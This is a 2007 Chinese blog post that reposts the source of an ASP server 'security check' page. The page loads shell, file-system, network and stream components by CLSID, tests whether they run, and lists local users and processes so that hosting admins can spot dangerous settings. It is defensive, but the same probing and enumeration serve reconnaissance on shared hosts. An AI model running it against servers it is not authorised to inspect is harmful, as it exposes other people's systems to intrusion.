有一种沉默叫霸气|有一种内敛叫个性|有一种简单叫深遂|有一种不屑叫自我

iboerwebsafecheck.asp

上一篇 / 下一篇  2007-12-01 01:05:56 / 个人分类：网络安全

查看( 47 ) / 评论( 0 ) / 评分( 0 / 0 )

<%@ Language="VBscrīpt" %>
<% Option Explicit
'http://www.iboer.com
'保留所有权利
'技术支持请访问 http://www.iboer.com
%>
<object runat="server" id="ws" scope="page" classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<object runat="server" id="ws" scope="page" classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<object runat="server" id="net" scope="page" classid="clsid:093FF999-1EA0-4079-9525-9614C3504B74"></object>
<object runat="server" id="net" scope="page" classid="clsid:F935DC26-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<object runat="server" id="fso" scope="page" classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<object runat="server" id="ado" scope="page" classid="clsid:00000566-0000-0010-8000-00AA006D2EA4"></object>
<object runat="server" id="app" scope="page" classid="clsid:13709620-C279-11CE-A49E-444553540000"></object>
<object runat="server" id="hap" scope="page" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC"></object>

<object runat="server" id="x1" scope="page" classid="clsid:2933BF90-7B36-11d2-B20E-00C04F983E60"></object>
<object runat="server" id="x2" scope="page" classid="clsid:f5078f1b-c551-11d3-89b9-0000f81fe221"></object>
<object runat="server" id="x3" scope="page" classid="clsid:f5078f32-c551-11d3-89b9-0000f81fe221"></object>
<object runat="server" id="x4" scope="page" classid="clsid:88d969c0-f192-11d4-a65f-0040963251e5"></object>

<HTML>
<HEAD>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<TITLE>7i24.Com ASP安全检测-V1.4</TITLE>
<style>
<!--
A       { COLOR: #000000;    FONT-FAMILY: 宋体;    TEXT-DECORATION: none}
A:hover { COLOR: green;    FONT-FAMILY: 宋体;    TEXT-DECORATION: underline}
.A2       { COLOR: green;    FONT-FAMILY: 宋体;    TEXT-DECORATION: none}
.A2:hover { COLOR: #000000;    FONT-FAMILY: 宋体;    TEXT-DECORATION: underline}
body    { font-family: 宋体; font-size: 9pt}
td      { font-family: 宋体; font-size: 9pt}
.input  { BACKGROUND-COLOR: #ffffff;BORDER:#3F8805 1px solid;FONT-SIZE: 9pt}
.backc  { BACKGROUND-COLOR: #3F8805;BORDER:#3F8805 1px solid;FONT-SIZE: 9pt;color:white}
-->
</STYLE>
</HEAD>
<BODY>
7i24ASP安全检测-<font color=green>V1.3</font><br>

<br>

<font color=green>服务器的有关参数</font>
<table border=0 width=450 cellspacing=0 cellpadding=0 bgcolor="#3F8805">
<tr><td>

 <table border=0 width=450 cellspacing=1 cellpadding=0>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left>&nbsp;服务器名</td><td>&nbsp;<%=Request.ServerVariables("SERVER_NAME")%></td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left>&nbsp;服务器IP</td><td>&nbsp;<%=Request.ServerVariables("LOCAL_ADDR")%></td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left>&nbsp;服务器端口</td><td>&nbsp;<%=Request.ServerVariables("SERVER_PORT")%></td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left>&nbsp;服务器时间</td><td>&nbsp;<%=now%></td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left>&nbsp;IIS版本</td><td>&nbsp;<%=Request.ServerVariables("SERVER_SOFTWARE")%></td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left>&nbsp;脚本超时时间</td><td>&nbsp;<%=Server.scrīptTimeout%> 秒</td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left>&nbsp;本文件路径</td><td>&nbsp;<%=server.mappath(Request.ServerVariables("scrīpt_NAME"))%></td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left>&nbsp;服务器CPU数量</td><td>&nbsp;<%=Request.ServerVariables("NUMBER_OF_PROCESSORS")%> 个</td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left>&nbsp;服务器解译引擎</td><td>&nbsp;<%=scrīptEngine & "/"& scrīptEngineMajorVersion &"."&scrīptEngineMinorVersion&"."& scrīptEngineBuildVersion %></td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
  <td align=left>&nbsp;服务器操作系统</td><td>&nbsp;<%=Request.ServerVariables("OS")%></td>
   </tr>
 </table>

</td></tr>
</table>
<br>

<font color="#FF0000"><br>
■ 安全描述</font>
<table border=0 width=648 cellspacing=0 cellpadding=0 bgcolor="#FF0000">
<tr><td>

 <table width=100% border=0 cellpadding=0 cellspacing=1>
 <tr height=18 style="color:#ffffff" align=center>
 <td width=179>组 件 名 称</td>
 <td width=466>状态</td>
 </tr>
 <tr bgcolor="#EEFEE0" height=18>
  <td align=left>&nbsp;Wscrīpt.Shell</td>
  <td align="center"><%
dim havews
havews=IsObjInstalledX
Function IsObjInstalledX()
On Error Resume Next
IsObjInstalledX = False
Err = 0
ws.exec()
If 0 = Err Then
IsObjInstalledX = True
end if
Err = 0
End Function
  %><a href="http://www.iboer.com" target="_blank">
    建立组件提示信息：
    <br><font color="#FF0000">提示信息中必须是"创建对象失败"或"Create object failed"才是安全的！如果是没有提示信息表明非常危险！</font></a></td>
   </tr>
 <tr bgcolor="#EEFEE0" height=18>
  <td align=left>&nbsp;Shell.application</td>
  <td align="center"><%
havews=IsObjInstalledX2
Function IsObjInstalledX2()
On Error Resume Next
IsObjInstalledX2 = False
Err = 0
app.exec()
If 0 = Err Then
IsObjInstalledX2 = True
end if
Err = 0
End Function
  %><a href="http://www.iboer.com" target="_blank">
    建立组件提示信息：
    <br><font color="#FF0000">提示信息中必须是"创建对象失败"或"Create object failed"才是安全的！如果是没有提示信息表明非常危险！</font></a></td>
   </tr>


 <tr bgcolor="#EEFEE0" height=18>
  <td align=left>&nbsp;Wscrīpt.NETWORK
</td>
  <td align="center"><%
havews=IsObjInstalledX3
Function IsObjInstalledX3()
On Error Resume Next
IsObjInstalledX3 = False
Err = 0
net.exec()
If 0 = Err Then
IsObjInstalledX3 = True
end if
Err = 0
End Function
  %><a href="http://www.iboer.com" target="_blank">
    建立组件提示信息：
    <br><font color="#FF0000">提示信息中必须是"创建对象失败"或"Create object failed"才是安全的！如果是没有提示信息表明非常危险！</font></a></td>
   </tr>


 <tr bgcolor="#EEFEE0" height=18>
  <td align=left>&nbsp;scrīpting.FileSystemObject</td>
  <td align="center"><%
havews=IsObjInstalledX4
Function IsObjInstalledX4()
On Error Resume Next
IsObjInstalledX4 = False
Err = 0
fso.exec()
If 0 = Err Then
IsObjInstalledX4 = True
end if
Err = 0
End Function
  %><a href="http://www.iboer.com" target="_blank">
    建立组件提示信息：
    <br><font color="blue">FSO只是有潜在的安全问题，提示信息中必须是"创建对象失败"或"Create object failed"才是绝对安全的！</font></a></td>
   </tr>


 
 <tr bgcolor="#EEFEE0" height=18>
  <td align=left>&nbsp;ADODB.Stream
</td>
  <td align="center"><%
havews=IsObjInstalledX5
Function IsObjInstalledX5()
On Error Resume Next
IsObjInstalledX5 = False
Err = 0
ado.exec()
If 0 = Err Then
IsObjInstalledX5 = True
end if
Err = 0
End Function
  %><a href="http://www.iboer.com" target="_blank">
    建立组件提示信息：
    <br><font color="blue">ADODB.Stream只是有潜在的安全问题，提示信息中必须是"创建对象失败"或"Create object failed"才是绝对安全的！</font></a></td>
   </tr>


 <tr bgcolor="#EEFEE0" height=18>
  <td align=left>&nbsp;HappyTime
</td>
  <td align="center"><%
  
havews=IsObjInstalledXHAP
Function IsObjInstalledXHAP()
On Error Resume Next
IsObjInstalledXHAP = False
Err = 0
hap.Reset
If 0 = Err Then
IsObjInstalledXHAP = True
end if
Err = 0
End Function
  %><a href="http://www.iboer.com" target="_blank">
    建立组件提示信息：
    <br><font color="blue">欢乐时间病毒组件只是有潜在的安全问题，提示信息中必须是"创建对象失败"或"Create object failed"才是绝对安全的！</font></a></td>
   </tr>


 <tr bgcolor="#EEFEE0" height=18>
  <td align=left>&nbsp;XML_A
</td>
  <td align="center"><%
havews=IsObjInstalledX6
Function IsObjInstalledX6()
On Error Resume Next
IsObjInstalledX6 = False
Err = 0
x1.exec()
If 0 = Err Then
IsObjInstalledX6 = True
end if
Err = 0
End Function
  %><a href="http://www.iboer.com" target="_blank">
    建立组件提示信息：
    <br><font color="blue">XML有类似于FSO的操作权限，只是有潜在的安全问题，提示信息中必须是"创建对象失败"或"Create object failed"才是绝对安全的！</font></a></td>
   </tr>

 <tr bgcolor="#EEFEE0" height=18>
  <td align=left>&nbsp;XML_B
</td>
  <td align="center"><%
havews=IsObjInstalledX7
Function IsObjInstalledX7()
On Error Resume Next
IsObjInstalledX7 = False
Err = 0
x2.exec()
If 0 = Err Then
IsObjInstalledX7 = True
end if
Err = 0
End Function
  %><a href="http://www.iboer.com" target="_blank">
    建立组件提示信息：
    <br><font color="blue">XML有类似于FSO的操作权限，只是有潜在的安全问题，提示信息中必须是"创建对象失败"或"Create object failed"才是绝对安全的！</font></a></td>
   </tr>

 <tr bgcolor="#EEFEE0" height=18>
  <td align=left>&nbsp;XML_C
</td>
  <td align="center"><%
havews=IsObjInstalledX8
Function IsObjInstalledX8()
On Error Resume Next
IsObjInstalledX8 = False
Err = 0
x3.exec()
If 0 = Err Then
IsObjInstalledX8 = True
end if
Err = 0
End Function
  %><a href="http://www.iboer.com" target="_blank">
    建立组件提示信息：
    <br><font color="blue">XML有类似于FSO的操作权限，只是有潜在的安全问题，提示信息中必须是"创建对象失败"或"Create object failed"才是绝对安全的！</font></a></td>
   </tr>

 <tr bgcolor="#EEFEE0" height=18>
  <td align=left>&nbsp;XML_D
</td>
  <td align="center"><%
havews=IsObjInstalledX9
Function IsObjInstalledX9()
On Error Resume Next
IsObjInstalledX9 = False
Err = 0
x4.exec()
If 0 = Err Then
IsObjInstalledX9 = True
end if
Err = 0
End Function
  %><a href="http://www.iboer.com" target="_blank">
    建立组件提示信息：
    <br><font color="blue">XML有类似于FSO的操作权限，只是有潜在的安全问题，提示信息中必须是"创建对象失败"或"Create object failed"才是绝对安全的！</font></a></td>
   </tr>

 


 <tr height=18 style="color:#ffffff" align=center>
 <td width=179>内容</td>
 <td width=466>状态<font color="#FFFF00">(如果下面能列出用户名或进程都表示不安全！)</font></td>
 </tr>

<%
dim obj
 on error resume next
  for each obj in getObject("WinNT://.")
   err.clear%>
    <tr bgcolor="#EEFEE0" height=18>
  <td align=center><!--<%=obj.path%>-->
    <%if err then
%>系统用户(组)<%else%>系统进程<%end if%>
</td>
  <td>　　<a href="http://www.iboer.com" target="_blank"><%=obj.Name%>
  <%if err then
  else
%>(<%=obj.DisplayName%>)<%end if%>
  <br>　　<%=obj.path%><font color="blue"></font></a></td>
   </tr>
   <%
   next
%>


 </table>

</td></tr>

</table>

<br>
<font color=green>ASP脚本解释和运算速度测试</font><br>
我们让服务器执行500万次“1＋1”的计算，记录其所使用的时间。
<table border=0 width=450 cellspacing=0 cellpadding=0 bgcolor="#3F8805">
<tr><td>

 <table border=0 width=450 cellspacing=1 cellpadding=0>
   <tr style="color:#ffffff" height=18>
  <td align=center>服&nbsp;&nbsp;&nbsp;务&nbsp;&nbsp;&nbsp;器</td><td align=center>完成时间</td>
   </tr>
   <tr bgcolor="#EEFEE0" height=18>
    <td align=left>&nbsp;PIV 2G</td>
          <td>&nbsp;3 秒</td>
   </tr>
   <form action="<%=Request.ServerVariables("scrīpt_NAME")%>" method=post>
<%
if Request.Form("test") <> "" then

 dim t1,t2,lsabc,thetime
 t1=now
 for i=1 to 5000000
  lsabc= 1 + 1
 next
 t2=now

 thetime=cstr(int(cdbl((t2-t1)*24*60*60)+0.5))
%>
   <tr bgcolor="#EEFEE0" height=25>
  <td align=left>&nbsp;<font color=red>您正在使用的这台服务器</font>&nbsp;<INPUT type="submit" value="重新测试" class=backc id=submit2 name=test></td><td>&nbsp;<font color=red><%=thetime%> 秒</font></td>
   </tr>
<%else%>
   <tr bgcolor="#EEFEE0" height=25>
  <td align=left>&nbsp;<font color=red>您正在使用的这台服务器</font></td><td>&nbsp;<INPUT type="submit" value="测 试" class=backc id=submit2 name=test></td>
   </tr>
<%end if%>
   </form>
 </table>

</td></tr>
</table>

<br>
<table border=0 width=450 cellspacing=0 cellpadding=0>
<tr>
    <td align=center>    <a href="http://www.iboer.com" target="_blank">http://www.iboer.com</a> <a href="http://www.iboer.com" target="_blank">Iboer 中国领先的服务器软件与空间提供商 </a></td>
  </tr>
</table>
</BODY>
</HTML>


导入论坛 收藏 分享给好友 管理 举报

TAG:

 

评分：0

我来说两句

显示全部

:loveliness: :handshake :victory: :funk: :time: :kiss: :call: :hug: :lol :'( :Q :L ;P :$ :P :o :@ :D :( :)

我的栏目

日历

« 2008-10-07  
日 一 二 三 四 五 六
   1234
567891011
12131415161718
19202122232425
262728293031 

数据统计

  • 访问量: 762
  • 日志数: 5
  • 书签数: 3
  • 建立时间: 2007-11-25
  • 更新时间: 2008-03-11

RSS订阅

Open Toolbar